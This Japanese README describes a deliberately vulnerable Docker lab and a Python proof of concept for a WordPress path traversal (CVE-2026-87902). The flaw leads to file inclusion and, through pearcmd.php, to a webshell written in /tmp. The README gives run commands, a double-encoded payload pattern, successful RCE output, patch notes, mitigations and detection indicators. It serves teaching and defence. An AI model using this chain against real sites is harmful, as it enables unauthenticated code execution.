
Dockerによる脆弱性ラボ + CVE-2026-87902のPoC Python — WordPress Coreにおける未認証のパストラバーサル(page-template -> LFI -> 条件付きRCE)。教育・許可された用途向け。
意図的に脆弱なラボ + CVE-2026-87902 のPython PoC: WordPress Core の page template 解決における非認証パストラバーサルであり、 Local File Inclusion (LFI) および条件付きRCEにつながる。
| 項目 | 値 |
|---|---|
| 製品 | WordPress Core |
| 影響を受けるバージョン | 4.7.0 → 7.1.1 |
| 修正 | 7.1.2 (4.7.37 までバックポート) |
| 種類 | Path Traversal (CWE-22) → LFI → 条件付きRCE |
| 認証 | 不要 (非認証) |
| CVSS 4.0 | 9.2 (Critical) |
| 公開日 | 2026-09-23 |
⚠️ 法的・倫理的警告。 ここにあるすべての資料は、ローカルかつ許可された環境での学習を目的としています。このラボは意図的に安全でないDockerイメージです — インターネットに公開しないでください。
exploit.pyのデフォルトターゲットは意図的にhttp://localhost:8091です。書面による明示的な許可なくPoCをいかなるシステムに対して実行することも犯罪です。使用に関する責任はすべてあなた自身にあります。
EXPLOIT-CVE-2026-87902/
├── README.md # このファイル
├── docker-compose.yml # ラボを localhost:8091 で起動
├── lab/
│ ├── Dockerfile # php:8.2-apache + PEAR + register_argc_argv=On
│ ├── config/zz-lab.ini # RCE の環境前提条件
│ └── src/ # 脆弱な箇所を再現する「WordPress mini」
│ ├── index.php # フロントコントローラ (≈ template-loader.php)
│ ├── wp-mini.php # 脆弱な get_page_template()/locate_template()/...
│ ├── private/
│ │ └── secret-config.php # テーマ外の .php ターゲット (LFI の証明)
│ └── wp-content/themes/twentytwelve-mini/
│ ├── style.css
│ ├── index.php
│ └── page-templates/ # トラバーサルに必要な "page-*" ディレクトリ
│ └── full-width.php
└── exploit/
├── exploit.py # PoC (pt-BR): pearcmd 経由の LFI + RCE チェーン
└── requirements.txt
前提条件: Docker + Docker Compose、および requests を備えた Python 3。
# 1) ラボを起動 (http://localhost:8091 で待ち受け)
docker compose up --build
# 2) 別のターミナルで PoC の依存関係をインストールして実行
cd exploit
pip install -r requirements.txt
python3 exploit.py # ローカルラボに対して LFI + RCE を実行
# 便利なオプション
python3 exploit.py --mode lfi # LFI の証明のみ
python3 exploit.py --mode rce --cmd 'uname -a'
python3 exploit.py --target http://localhost:8091
# 3) ラボを停止
docker compose down
期待される出力 (抜粋):
[LFI] Sucesso! Arquivo externo incluído -> SEGREDO_DO_LAB{lfi_via_page_template_traversal}
[RCE] Comando executado no servidor:
------------------------------------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
FLAG{cve_2026_87902_rce_no_wordpress_mini}
------------------------------------------------------------
get_page_template() では、公開クエリ変数 pagename の値がテンプレート名の組み立てに使用されます。コアは生の値に対して validate_file() で検証します (これはリテラルの .. をブロックします) が、その後値を一度デコードし、その結果をテンプレート候補として再検証せずに使用します (wp-mini.php に忠実に再現):
if ($pagename !== '' && 0 === validate_file($pagename)) {
$templates[] = "page-{$pagename}.php"; // 生の値 (まだエンコード済み)
$pagename_decoded = urldecode($pagename); // <-- 2回目のデコード
if ($pagename_decoded !== $pagename) {
$templates[] = "page-{$pagename_decoded}.php"; // トラバーサルが再導入される
}
}
その後 locator は テーマ + "/" + テンプレート を連結し、存在する最初のファイルを include します。realpath() も、結果がテーマディレクトリの内側に留まっているかの検証も行いません。
攻撃者は pagename を二重にエンコードして送信します:
ワイヤー上の値 (POST body): templates%252f%252e%252e%252f...%252fpearcmd
1回目のデコード (HTTP): templates%2f%2e%2e%2f...%2fpearcmd <- リテラルの '..' なし => validate_file() を通過
2回目のデコード (core): templates/../../.../pearcmd <- 実際のトラバーサル
locator が page- を前置するため、パスは
page-templates/../../.../pearcmd.php になります。これはテーマの外側に解決されます。
page- で始まるトップレベルディレクトリを持つテーマ (ここでは
page-templates/)。これがトラバーサルの実際の出発点です: Linux では ../ が解決されるために、パスの各コンポーネントが存在する必要があります。レガシーテーマ (Twenty Twelve/Fourteen) や人気テーマ (Neve, Hestia, Sydney) が該当します。register_argc_argv = On → $_SERVER['argv'] がクエリ文字列から設定されます。pearcmd.php が読み取り可能 (公式イメージ php:8.2-apache には標準の include_path 内の /usr/local/lib/php/pearcmd.php に既に含まれています)。locator が .php を付加するため、LFI は .php ファイルにしか到達できません。そのため実用的な RCE ルートは pearcmd.php と連鎖させます:
config-create を渡して pearcmd.php を include し、/tmp に .php ウェブシェルを書き込む。/tmp/<webshell>.php を include する → 攻撃者の PHP が実行される。パッチは pagename の値を一貫して扱います: あらゆるデコードの後に検証し (またはエンコードされたトラバーサルシーケンスを含む入力を拒否し)、テンプレート解決時にディレクトリ境界を課すようになります (最終パスはテーマ内に留まる必要があります)。結果として、二重エンコードされた値はもはや include まで生き残れません。
緩和策: ≥ 7.1.2 に更新する。さらに多層防御として、register_argc_argv = Off、pearcmd.php の削除/制限、およびリクエスト内のエンコードされた ../ (%2e%2e%2f、%252e...) を検出する WAF。
../ (%2e%2e%2f、%252e%252e%252f) を含むフロントエンドリクエスト。pagename の異常な値)、特に config-create / pearcmd への参照を含むクエリ文字列との組み合わせ。/tmp における予期しない .php ファイルの作成と、それに続く include。